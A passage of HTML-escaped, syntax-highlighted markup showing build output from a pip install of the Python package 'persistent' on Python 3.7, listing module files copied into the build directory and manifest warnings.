class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
         &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xgyu9lk6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
    &lt;span class="n"&gt;Complete&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_py&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;interfaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_ring_build&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_compat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;picklecache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;wref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;egg_info&lt;/span&gt;
    &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PKG&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;
    &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;dependency_links&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dependency_links&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
    &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;requirements&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requires&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
    &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;top_level&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
    &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent.egg-info/SOURCES.txt&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;MANIFEST.in&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;directories&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;terryfy&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.dll&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
    &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.pyc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
    &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.pyo&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
    &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.so&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
    &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;coverage.xml&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
    &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;directories&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;docs/_build&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;directories&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent/__pycache__&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent.egg-info/SOURCES.txt&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_compat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_timestamp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPickleCache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
